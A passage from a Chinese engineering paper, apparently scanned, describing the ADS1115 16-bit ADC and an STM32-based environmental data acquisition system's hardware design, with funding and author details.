理器的待机模式,大大降低了整个系统的功耗,实现了系统可靠稳定运行。 1ADS1115 简介 ADS1115是高精度模数转化器,具有16位分辨率。超小型的无引线QFN-10封装或MSOP-10封装,大 大减少了其体积。2.0 V至5.5 V的宽电源范围。在设计时考虑了精度、功耗和实现的简易性。如图1所示,ADS1115具有一个板上基准和振荡器,数据通过一个I2C兼容型串行接口进行传输。具有一个板上可编程 增益放大器(PGA)'该P G A提供从电源电压到低至 ±256 m V输入范围,能以高分辨率来测量大信号和小信 号。集成了一个输人多路复用器(MUX),可提供2个差分输^ 入或4个单端输入。ADS1115可工作于连续转换模式或单_ 触发模式,在单触发模式下,一次转化完成后自动断电,极_ 大地降低了芯片功耗。 AIN3 2硬件方案设计 图1ADS1115功能框图系统硬件包括环境参数采集模块,ADS1115数据采样与转化模块,STM32控制与处理模块等'系统结 构框图如图2所示。 [收稿日期]2016-09-17 [基金项目]住房和城乡建设部科学技术计划项目(2014-K8-050);苏州科技大学科研基金项目(XKZ201508) [作者简介]李长才(1988-),男,山东枣庄人,硕士研究生。 通信联系人:肖金球(1963-),男,教授,主要从事智能测控技术的研究,Email:xjq@https://www.sodocs.net/doc/2f16215429.html,。

相关主题